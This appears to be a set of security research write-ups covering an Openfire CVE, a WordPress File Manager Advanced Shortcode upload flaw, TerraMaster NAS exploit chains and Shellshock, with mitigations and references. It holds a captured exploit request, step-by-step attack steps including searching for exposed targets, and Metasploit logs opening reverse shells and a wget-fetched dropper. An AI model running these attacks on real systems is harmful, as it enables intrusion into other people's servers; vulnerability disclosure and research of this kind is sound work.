You can setup your own testing environment by following the instructions below.
Instructions for an Openfire installation:
Download Openfire releases here.
Follow installation instructions here.
Mitigation
Please update your Openfire
application to version 4.8.0
or higher and or upgrade to the patched versions 4.7.5
or 4.6.8
.
References
Igniterealtime Security Advisory
CVE-2023-32315
Openfire Authentication Bypass RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18173
Openfire plugin development
Openfire release downloads
Openfire installation instructions
Technical Analysis
WordPress
is one of the most used web application platforms on the Internet with million and million of installations. The platform provides a huge amount of content with so called plugins that enables certain functionality such as payment services, file managers, web forms, security and much more.
It is on one side great to have such rich functionality available in the platform, but the downside is that these plugins can also trigger a lot of vulnerabilities.
And indeed, the WordPress
platform has become infamous for the huge amount of vulnerabilities introduced at the platform over the last couple of years.
This writeup is a perfect example where a plugin File Manager Advanced
and an add-on File Manager Advanced Shortcode
introduced a vulnerability where an unauthenticated malicious actor can upload a webshell and execute payloads that provides unauthorized access to the operating system below.
Let me first explain a bit what a shortcode
is in the WordPress
world.
A shortcode
is a specially formatted text tag that opens and closes with square brackets and can be placed directly in a post or a page of your blog. This tag is automatically interpreted by WordPress
and allows you to add features without having to program code. You can recognize a shortcode
section by seeing brackets like [this]
, that performs a dedicated function on your site. You can place it just about anywhere you’d like, and it will add a specific feature to your page, post, or other content. For example, you can use shortcodes to display galleries, videos, or even playlists.
WordPress
has several plugins that delivers specific functionality that you can use and the File Manager Advanced Shortcode
plugin is one of these features that allows you to code File Manager Advanced
functionality on a page or post using shortcodes.
The section below shows an example of a shortcode using the File Manager Advanced Shortcode
plugin that allows you to upload or download files depending on the shortcode
configuration. For instance, at the example below a login is required to upload or download files (authenticated).
[file_manager_advanced login="yes" roles="author,editor,administrator" path="wp-content" hide="plugins" operations="download,upload" block_users="5" view="grid" theme="light" lang ="en" upload_allow="image/png" upload_max_size="2G"]
and the shortcode
will provide the file manager functionality on the page below when published.
.
So far, so good, but what is now exactly the issue with this plugin?
To understand this a bit better, let’s first explore what is happening under the hood if we upload a small png
file (ruby.png).
We will capture the HTTP
request and response with burpsuite
.
The actual upload happens with a POST
request and form data that is shown below.
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: 192.168.201.10 Content-Length: 2502 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vP3o9u9S2AIn7Ex Accept: */* Origin: http://192.168.201.10 Referer: http://192.168.201.10/wordpress/index.php/fma-auth/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: wordpress_bbdf06293059980896f1ee8c0e8b218c=admin%7C1688056648%7CB7maHYtYiY720ai72sOLpfz8j0hSdisDFJqvoSYsqgK%7C690658a3c5dab7494d7840e3d4ecfdfdf17494f6ae163a3fd3ac8093e1529784; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_bbdf06293059980896f1ee8c0e8b218c=admin%7C1688056648%7CB7maHYtYiY720ai72sOLpfz8j0hSdisDFJqvoSYsqgK%7C5666c9036374c0c892b17a6abaf647dc5baf618ca489084627fde0df45b80d8f; wfwaf-authcookie-dd668d04efe9e4ab71eb81bd40139a86=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C0f200eccb75504c01e48ae0344893dd5df62a8aad161c24058089881c58bfbfc; PHPSESSID=2csqd51ghug6138llcu5dtskjm Connection: close ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="reqid" 188fdc67f782e3 ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="cmd" upload ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="target" l1_Lw ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="action" fma_load_shortcode_fma_ui ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="_fmakey" d2ef442bd5 ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="path" wp-content ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="url" ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="w" false ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="r" true ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="hide" plugins ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="operations" download,upload ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="path_type" inside ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="hide_path" no ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="enable_trash" no ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="upload_allow" image/png ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="upload_max_size" 2G ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="upload[]"; filename="ruby.png" Content-Type: image/png PNG <PNG content> ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="mtime[]" 1687884791 ------WebKitFormBoundary1vP3o9u9S2AIn7Ex--
The question is of course, what will happen if we start manipulating the parameters in the form data and issue a POST request again.
Will that work?
Lets try an LFI, by manipulating the path
parameter which is set to wp-content
directory but will be set to empty (basically set to the wordpress root directory).
Surprise, surprise !!!!
ruby.png get nicely uploaded in the wordpress root directory.
HTTP/1.1 200 OK Date: Tue, 27 Jun 2023 17:13:33 GMT Server: Apache/2.4.57 (Debian) Access-Control-Allow-Origin: http://192.168.201.10 Access-Control-Allow-Credentials: true X-Robots-Tag: noindex X-Content-Type-Options: nosniff Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN Pragma: no-cache Set-Cookie: PHPSESSID=h7komipqhl6l43bfq0beqgi23f; path=/ Content-Length: 1742 Connection: close Content-Type: application/json; charset=utf-8 {"added":[ { "isowner":false, "ts":1687886014, "mime":"image\/png", "read":1, "write":1, "size":"592", "hash":"l1_cnVieS5wbmc", "name":"ruby.png", "phash":"l1_Lw", "tmb":1, "url":"http:\/\/192.168.201.10\/wordpress\/ruby.png" } ],
What if we try to bypass authentication by removing the cookies. Will that work?
Of course, the file gets nicely uploaded again.
Last but not least, can manipulate the mime-types to upload PNG images files with embedded PHP code that we can execute.
And again the answer is yes. See this video on YouTube
.
Basically, you can manipulate all parameters as long as you have the _fmakey
. This is the only parameter that needs to be set to issue a POST
request that allows for all kind of operations, like upload, download and others.
What is exactly this _fmakey
and more important, where do we find it?
I could not find much on this key, but we need to set this key to get the POST
request satisfied.
Man would think that it would be encrypted during runtime with a complex encryption algorithm, but the reality is much simpler.
The _fmakey
and its value is stored on the web page where File Manager Advanced shortcode functionality is embedded. With view source you can easily find it on the web page (see the excerpt below).
<script src='http://192.168.201.10/wordpress/wp-content/plugins/file-manager-advanced-shortcode/js/shortcode.js?ver=6.2.2' id='file_manager_advanced-fma-shortcode-js-js'></script> <script id='file_manager_advanced-fma-shortcode-js-js-after'> jQuery(document).ready(function(){ var afmui = ['toolbar', 'tree', 'path', 'stat']; var fma_ui_opt = ''; if(fma_ui_opt != '') { var fmui_params = fma_ui_opt; if(fmui_params == 'files') { var afmui = []; } else var afmui = fmui_params.split(','); } jQuery('#file_manager_advanced').elfinder( { cssAutoLoad : false, url : 'http://192.168.201.10/wordpress/wp-admin/admin-ajax.php', lang: 'en', defaultView : 'grid', dateFormat : 'M d, Y h:i A', customData : {action: 'fma_load_shortcode_fma_ui', _fmakey: 'd2ef442bd5', path:'wp-content', url: '', w: 'false', r: 'true', hide: 'plugins', operations: 'download,upload', path_type: 'inside', hide_path: 'no', enable_trash: 'no', upload_allow: 'image/png', upload_max_size: '2G', }, height: '', width: '', ui: afmui, }); }); </script>
For older versions of the plugin, you have to search for the _fmakey
on the page embedded in the fmaatts var
.
var fmaatts = {"ajaxurl":"http:\/\/192.168.201.55\/wp-admin\/admin-ajax.php","lang":"us","view":"grid","dateformat":"M d, Y h:i A","action":"fma_load_shortcode_fma_ui","fmakey":"92b7949dd9","path":"wp-content\/uploads\/musicfiles","url":"","w":"false","r":"true","hide":"plugins","operations":"all","path_type":"inside"};
Well, how easy can you make it for an attacker to craft a POST
request that uploads a malicious file with payload that can be executed.
I would say, DEAD EASY!!!
The steps are simple.
- Find
WordPress
web sites with pages where the_fmakey
is embedded (TIP: use a Source Code Search Engine like PublicWWW).
- Retrieve the
_fmakey
.
- Craft a
POST
request that uploads a malicious PNG file with PHP code embedded by using the_fmakey
and manipulating thecmd
,operations
andmime-types
parameters.
- Execute the malicious PNG file and enjoy a
reverse shell
ormeterpreter
.
Of course, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18142 at the Metasploit Github development.
I have tested the module on a WordPress
base installation version 6.2.2
on Linux
and Windows Server 2019
with File Manager Advanced 5.0.5
and File Manager Advanced Shortcode 2.3.2
installed. Works as a charm…
Also tested the module with a basic setup of WordFence
and it bypassed the WAF
as far as I could test it.
Mitigation
Please update your File Manager Advanced
plugin to version 5.1
or higher and update the File Manager Advanced Shortcode
plugin to version 2.4
or higher.
References
WPScan advisory
File Manager Advanced Shortcode RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18142
Exploit DB
Packet Storm
Credits
Mateus Machado Tesser
Discovery
Technical Analysis
This is the third exploit a.k.a. TerrorMaster 3
targeting TerraMaster NAS devices running TerraMaster Operating System (TOS) 4.2.29
or lower.
Octagon Networks published in March 2022 an analysis CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation explaining a chain of vulnerabilities that makes all TerraMaster NAS servers running TOS version 4.2.29
and lower vulnerable for an unauthenticated RCE.
It basically combines CVE-2022-24990: Leaking sensitive information and CVE-2022-24989: Authenticated remote code execution to achieve an unauthenticated RCE by exploiting vulnerable endpoint api.php?mobile/webNasIPS
leaking sensitive information such as admin password hash and mac address to achieve unauthenticated access and use the vulnerable endpointapi.php?mobile/createRaid
with POST
parameters raidtype
/ diskstring
to execute remote code as root on TerraMaster NAS devices.
As usual, you can find the third module here in my local repository or as PR 18086 submitted at the Metasploit Github development.
With release of TOS 5.x
, all of these vulnerabilities are now mitigated, but I would not be surprised that in the near future, some new exploits will come to surface looking back at the ugly history of TerraMaster flaws in the past.
Mitigation
Please update your TOS version
up to the latest supported TOS 4.2.x
version or TOS 5.x
version to be protected against all known vulnerabilities and do NOT to expose your TerraMaster NAS devices directly to the Internet.
References
CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation
POC 0xf4n9x
CVE-2022-24990
CVE-2022-24989
TerrorMaster 3 – h00die-gr3y Metasploit local repository
TerrorMaster 3 – Metasploit PR 18086
TerrorMaster 1
TerrorMaster 2
Credits
Octagon Networks
0xf4n9x
Technical Analysis
This the second module in the sequel of TerrorMaster
releases.
TerrorMaster 2
is based on the vulnerability analysis work of n0tme
that was conducted in December 2021 during Christmas time.
N0tme
discovered a few new vulnerabilities on the TerraMaster F2-210 and F4-210 model and chained them together into an unauthenticated RCE.
The full analysis can be found here How to summon RCEs.
In this article, I will only quickly summarize the RCE chain and introduce the Metasploit module.
The Terramaster chained exploit uses session crafting to achieve escalated privileges that allows an attacker to access vulnerable code execution flaws. TOS versions 4.2.15
and below are affected.
CVE-2021-45839 is exploited to obtain the first administrator’s hash set up on the system as well as other information such as MAC address, by performing a POST
request to the /module/api.php?mobile/webNasIPS
vulnerable endpoint.
This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker can self-sign session cookies by knowing the target MAC address and the user password hash.
Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker to login as guest. This is used to download the /etc/group
info to obtain the list of admin users, used to establish an unauthenticated admin session thru session crafting..
Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted input to vulnerable endpoint /tos/index.php?app/del
.
I slightly modified the original POC where the vulnerable endpoint /module/api.php?mobile/wapNasIPS
was used to obtain the admin hash. In some cases, it did not provide this info, whilst endpoint /module/api.php?mobile/webNasIPS
has proven to be more reliable.
As usual, you can find the module here in my local repository or as PR 18070 at the Metasploit Github development.
Mitigation
Please update your TOS version
up to the latest supported TOS 4.2.x
version or TOS 5.x
version to be protected against all known vulnerabilities and do NOT to expose your TerraMaster NAS devices directly to the Internet.
References
How to summon RCEs by n0tme
CVE-2021-45839
CVE-2021-45841
CVE-2021-45837
TerrorMaster 2 – h00die-gr3y Metasploit local repository
TerrorMaster 2 – Metasploit PR 18070
TerrorMaster 1
TerrorMaster 3
Credits
N0tme
Technical Analysis
Last two weeks, I spent some time on a TerraMaster F2-221 NAS server that I got from an old friend running TerraMaster Operating System (TOS) 4.x.
Research on the Internet shows that this server is full with vulnerabilities up to TOS 4.2.29
. Surprisingly, no Metasploit
modules were made to exploit these NAS servers and there are still plenty of vulnerable NAS servers connected to the Internet.
So I took the liberty to write three nice modules that exploits these NAS servers targeting different vulnerabilities.
This article is covering the first of three modules, called TerrorMaster 1
like we do with “good” movies released in the cinema. You can find the articles on TerrorMaster 2
here and TerrorMaster 3
here.
In December 2020, the IHTeam reported multiple vulnerabilities on TerraMaster NAS devices running TOS version 4.2.06
or lower.
You can read their analysis/advisory here.
TerrorMaster 1
is exploiting a vulnerability described in CVE-2020-35665 or CVE-2020-28188 that allows an unauthenticated attacker to create /upload a webshell via shell metacharacters in the Event
parameter using the vulnerable endpoint include/makecvs.php
during the CSV
creation process.
You can find the module here in my local repository or as PR 18063 at the Metasploit Github development.
Mitigation
Please update your TOS version
up to the latest supported TOS 4.2.x
version or TOS 5.x
version to be protected against all known vulnerabilities.
I strongly advice NOT to expose your TerraMaster NAS devices directly to the Internet, because you could end-up in a situation depicted below where your server has become a victim of ransomware.
.
References
IHTeam advisory
TerrorMaster 1 – h00die-gr3y Metasploit local repository
TerrorMaster 1 – Metasploit PR 18063
TerrorMaster 2
TerrorMaster 3
Credits
IHTeam
Technical Analysis
An Golden Oldie
from 2014 that is still very relevant nowadays.
In my recent research of security vulnerabilities, I bumped into several targets that were still vulnerable to CVE-2014-6271 a.k.a. Shellshock
and CVE-2014-6278. You should not be surprised that most of these targets are IoT based with an embedded Linux/Unix image running a vulnerable bash
version. They typically do not get updated at all and are easy targets for a malicious actor to find an entry point into the network.
Metasploit modules like exploit/multi/http/apache_mod_cgi_bash_env_exec
, are pretty restricted to launch an attack due to the limited platform support (only x86) and payloads that can be leveraged in an attack. This brought me to rewrite this module a bit so that it would support multiple platforms (ARM, x86, x64, MIPS) and multiple payloads such as Unix command
and Linux Dropper
. The module name is multi/http/bash_env_cgi_rce
.
To test the module locally, you download a vulnerable bash
version from https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz. Any version published before September 2014 is okay. Just extract it in a local directory and compile it with ./configure && make
.
Configure an Apache
or any other preferred web server to support CGI
scripts. You can find tons of instructions on the web how to do that.
Just create a script like below using the vulnerable bash
version and add this to the cgi-bin
directory of your preferred web server.
#!/bin/bash_CVE_2014_6271 echo "Content-type: text/plain" echo echo echo "Hello World"
Download module from here and follow the install instructions.
Start msfconsole
and play around with the different options and payloads.
msf6 > use exploits/multi/http/bash_env_cgi_rce [*] Using configured payload cmd/unix/reverse_bash msf6 exploit(multi/http/bash_env_cgi_rce) > options Module options (exploit/multi/http/bash_env_cgi_rce): Name Current Setting Required Description ---- --------------- -------- ----------- CVE Automatic yes CVE to check/exploit (Accepted: Automatic, CVE-2014-62 71, CVE-2014-6278) HEADER User-Agent yes HTTP header to use METHOD GET yes HTTP method to use PAYLOADSIZE 2048 yes Payload size used by the CmdStager Proxies no A proxy chain of format type:host:port[,type:host:port ][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/do cs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI yes Path to CGI script URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This mus t be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (cmd/unix/reverse_bash): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Unix Command View the full module info with the info, or info -d command. msf6 exploit(multi/http/bash_env_cgi_rce) > set rhosts 192.168.201.10 rhosts => 192.168.201.10 msf6 exploit(multi/http/bash_env_cgi_rce) > set targeturi /cgi-bin/test.cgi targeturi => /cgi-bin/test.cgi msf6 exploit(multi/http/bash_env_cgi_rce) > check [*] Target is vulnerable for CVE-2014-6271. [*] Target is vulnerable for CVE-2014-6278. [+] 192.168.201.10:80 - The target is vulnerable. msf6 exploit(multi/http/bash_env_cgi_rce) > set lhost 192.168.201.10 lhost => 192.168.201.10 msf6 exploit(multi/http/bash_env_cgi_rce) > set lport 4444 lport => 4444 msf6 exploit(multi/http/bash_env_cgi_rce) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Target is vulnerable for CVE-2014-6271. [*] Target is vulnerable for CVE-2014-6278. [+] The target is vulnerable. [*] Executing Unix Command for cmd/unix/reverse_bash using vulnerability CVE-2014-6271. [*] Command shell session 1 opened (192.168.201.10:4444 -> 192.168.201.10:35766) at 2023-05-21 15:01:17 +0000 id uid=33(www-data) gid=33(www-data) groups=33(www-data) uname -a Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aarch64 GNU/Linux
Python Meterpreter payload example
msf6 exploit(multi/http/bash_env_cgi_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp payload => cmd/unix/python/meterpreter/reverse_tcp msf6 exploit(multi/http/bash_env_cgi_rce) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Target is vulnerable for CVE-2014-6271. [*] Target is vulnerable for CVE-2014-6278. [+] The target is vulnerable. [*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp using vulnerability CVE-2014-6271. [*] Sending stage (24772 bytes) to 192.168.201.10 [*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.10:35678) at 2023-05-21 15:03:48 +0000 meterpreter > sysinfo Computer : cerberus OS : Linux 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) Architecture : aarch64 Meterpreter : python/linux meterpreter > getuid Server username: www-data meterpreter >
Linux File dropper using payload: linux/aarch64/meterpreter_reverse_tcp
msf6 exploit(multi/http/bash_env_cgi_rce) > set target 1 target => 1 msf6 exploit(multi/http/bash_env_cgi_rce) > set payload linux/aarch64/meterpreter_reverse_tcp payload => linux/aarch64/meterpreter_reverse_tcp msf6 exploit(multi/http/bash_env_cgi_rce) > set CMDSTAGER::FLAVOR wget CMDSTAGER::FLAVOR => wget msf6 exploit(multi/http/bash_env_cgi_rce) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Target is vulnerable for CVE-2014-6271. [*] Target is vulnerable for CVE-2014-6278. [+] The target is vulnerable. [*] Executing Linux Dropper for linux/aarch64/meterpreter_reverse_tcp using vulnerability CVE-2014-6271. [*] Using URL: http://192.168.201.10:8080/ZzirBKe [*] Client 192.168.201.10 (Wget/1.21.3) requested /ZzirBKe [*] Sending payload to 192.168.201.10 (Wget/1.21.3) [*] Meterpreter session 3 opened (192.168.201.10:4444 -> 192.168.201.10:34346) at 2023-05-21 15:10:11 +0000 [*] Command Stager progress - 100.00% done (114/114 bytes) [*] Server stopped. meterpreter > sysinfo Computer : 192.168.201.10 OS : Debian (Linux 5.15.44-Re4son-v8l+) Architecture : aarch64 BuildTuple : aarch64-linux-musl Meterpreter : aarch64/linux meterpreter > getuid Server username: www-data meterpreter >
If you use CMDSTAGER::FLAVOR
option bourne
or printf
, please ensure that your payload size is 2048 or below.
You can control this with the option PAYLOADSIZE
Have fun !!!
@ccondon-r7, you are most welcome!
Enjoy your upcoming Christmas and New Year.